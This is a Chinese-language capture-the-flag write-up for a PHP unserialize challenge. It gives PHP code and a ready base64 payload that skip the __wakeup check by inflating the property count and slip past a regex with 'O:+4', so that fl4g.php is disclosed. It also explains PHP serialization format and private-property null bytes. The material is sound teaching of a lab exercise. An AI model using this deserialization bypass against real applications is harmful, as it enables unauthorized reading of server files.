步驟
首先打開題目,發現給了一段源碼:
分析源碼,發現類里面有三個魔術方法:
__construct()
:構造函數,對類的變量進行初始化,創建時自動調用,用得到的參數覆蓋$file
__destruct()
:銷毀時調用,會顯示文件的代碼,這里要顯示fl4g.php
__wakeup()
:在進行反序列化之前會調用,會把$file重置成index.php
正則表達式的含義:o或c開頭,冒號,一個或多個數字,不區分大小寫
ok,分析完畢:我們要將序列化后的字符串進行base64加密之后進行get傳參到var變量即可
但是這里我們可以看出需要繞過__wakeup()
函數以及正則匹配,才能夠拿到flag
__wakeup()
方法繞過方法:當成員屬性的數目大于實際數目的時候即可繞過此方法
正則匹配我們可以使用+來進行繞過
代碼:
<?php class Demo { private $file = "index.php"; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != "index.php") { //the secret is in the fl4g.php $this->file = "index.php"; } } } $a = new Demo("fl4g.php");// 傳入我們需要顯示的文件 $b = serialize($a);// 進行序列化 echo $b;// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";} $b = str_replace("O:4", "O:+4", $b);// 繞過正則匹配 $b = str_replace("1:{","2:{",$b);// 繞過__wakeup()方法 echo base64_encode($b);// 進行base64編碼并輸出 ?>
payload:var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
成功拿到flag~
注意:這里有個坑,要是直接將序列化之后的字符串進行手動修改再去找在線網站進行加密則會發現編碼之后和我們payload里的不太一樣
這是因為file變量為私有變量,所以序列化之后的字符串開頭和結尾各有一個空白字符,而我們在對序列化之后的字符串進行輸出時,瀏覽器則不顯示空字符,如圖:
細心的朋友也會發現Demofile只有8個字符,而長度卻顯示10。
所以正確的序列化字符串應該是
O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
而我們由于是使用php代碼直接進行編碼的,全自動化,自然不會漏掉空字符。
解釋一下php序列化字符串的格式:
首先對象類型分為以下幾種
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
格式:對象類型:長度:"類名":類中變量的個數:{類型:長度:"值";類型:長度:"值";......}
總結
考察對php中魔術方法的熟悉程度,以及反序列化的應用
以上就是攻防世界Web php unserialize正則表達式反序列化詳解的詳細內容,更多關于php攻防世界unserialize正則表達式反序列化的資料請關注服務器之家其它相關文章!
原文鏈接:https://blog.csdn.net/weixin_45677145/article/details/120200365